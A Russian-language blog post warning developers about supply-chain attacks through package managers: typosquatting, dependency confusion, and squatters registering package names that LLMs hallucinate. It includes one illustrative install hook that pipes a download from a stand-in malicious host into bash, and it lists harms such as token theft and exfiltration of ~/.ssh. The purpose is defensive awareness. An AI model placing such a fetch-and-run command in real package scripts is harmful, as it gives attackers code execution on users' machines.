Тема безопасности в эпоху LLM всплывает всё чаще. И речь идёт не о самой модели — а о пользователях, которые доверяют ей без оглядки.

Сегодня многие разработчики и админы спрашивают у GPT не только совета, но и готовые команды. Результат выглядит правдоподобно — и команда уходит в терминал. Иногда прямо на прод.

А дальше этот код попадает в GitHub, кто-то копипастит его оттуда — и вот уже выдуманная библиотека начинает новую жизнь. И если обычная ошибка — это неприятность, то левый пакет может стать входом для злоумышленников.

Жулики заметили тренд. Видят, что растёт число запросов на какую-то несуществующую библиотеку — и выкладывают её первыми. Разработчик ставит пакет, думая, что выполняет совет GPT, а на деле запускает чужой код у себя в системе.

Хуже того, если такой пакет попадёт обратно в ответы модели, круг замыкается. Ложная информация начинает множиться сама на себя.

Как пакеты становятся троянскими

Когда вы ставите библиотеку через pip install или npm install, менеджер зависимостей скачивает её код и выполняет скрипты, которые автор указал в настройках. Это часть нормальной установки — например, чтобы собрать бинарь. Но именно здесь злоумышленники прячут свой код.

Typosquatting (подмена имени)

Старая, но рабочая схема. Вместо requests вы случайно пишете reqeusts. Менеджер тянет другой пакет — и вместе с ним запускается подарок.

Самый громкий случай в Python случился совсем недавно — весной 2024 года. Тогда в PyPI выкладывали не десятки, а сразу сотни поддельных пакетов. Более 500 двойников имитировали названия популярных библиотек: TensorFlow, requests, BeautifulSoup и многих других. Большинство методов проксировались из реальных библиотек, поэтому не все замечали подвох.

Dependency confusion

Классика корпоративной среды. Компания хранит свои библиотеки в локальном репозитории. Но если в публичном появится пакет с тем же названием, система может подтянуть именно его. В итоге внешний код оказывается внутри вашей инфраструктуры.

В 2021 году Алекс Бирсон решил проверить, как компании защищают свои внутренние пакеты. В крупных командах часто есть приватные библиотеки — например, super-duper-logger.
Бирсон выложил такие же пакеты с теми же именами в публичный доступ, но с большим номером версии. Менеджеры зависимостей всегда тянули самую свежую версию — и в итоге код из публичного репозитория попадал в инфраструктуру корпораций.

На волне (мое название)

Мошенники следят за трендами. Если в поисках часто появляется «super-ml-lib», хотя такой библиотеки ещё нет, они выкладывают её первыми. GPT подхватывает название, вставляет его в ответы, кто-то запускает установку — и капкан захлопывается.

Что может делать вредоносный код

При установке пакета запускается setup.py (в Python) или скрипты из package.json (в npm). Внутри можно написать всё, что угодно.

Простейший пример:

import os    
def install():     
	os.system("curl http://fuck.my.system.com/malware | bash")

Эта строчка отработает в момент установки — ещё до того, как вы успеете импортировать библиотеку в проект.

Через такие вызовы можно:

  • скачать и запустить произвольный бинарь

  • создать скрытые процессы

  • менять переменные окружения (например, украсть токены)

  • удалить или зашифровать файлы

  • переслать содержимое .ssh/ злоумышленнику

С точки зрения системы это не взлом, а обычный скрипт пользователя. Всё запускается добровольно — только не вами, а за вас.

Как защититься

Даже простые меры снижают риск в разы:

  • не копипастите команды из GPT без проверки

  • всегда смотрите на библиотеку: кто автор, какой репозиторий, есть ли коммиты и звёзды

  • не запускайте всё подряд через sudo

  • для компаний — используйте внутренние зеркала и подписывайте пакеты

LLM не враг. Она не придумывает вирусы специально для вас — но и не проверяет, что то, что она подсказала, безопасно. Ответ всегда выглядит убедительно, и именно это делает доверие опасным.

Один pip install может превратиться в установку бэкдора, а может — просто добавить библиотеку в проект. Разница минимальна: всего один клик и пара секунд проверки.

И если проверка кажется лишней мелочью, стоит вспомнить, что большинство успешных атак начинались именно с неё — с одной буквы, одного имени пакета, одного нажатия Enter.

Оффтоп

Если тебе близки подобные темы — приглашаю в Telegram-канал «Техдир на пальцах».
Строим дружное и общительное коммьюнити.

Комментарии (0)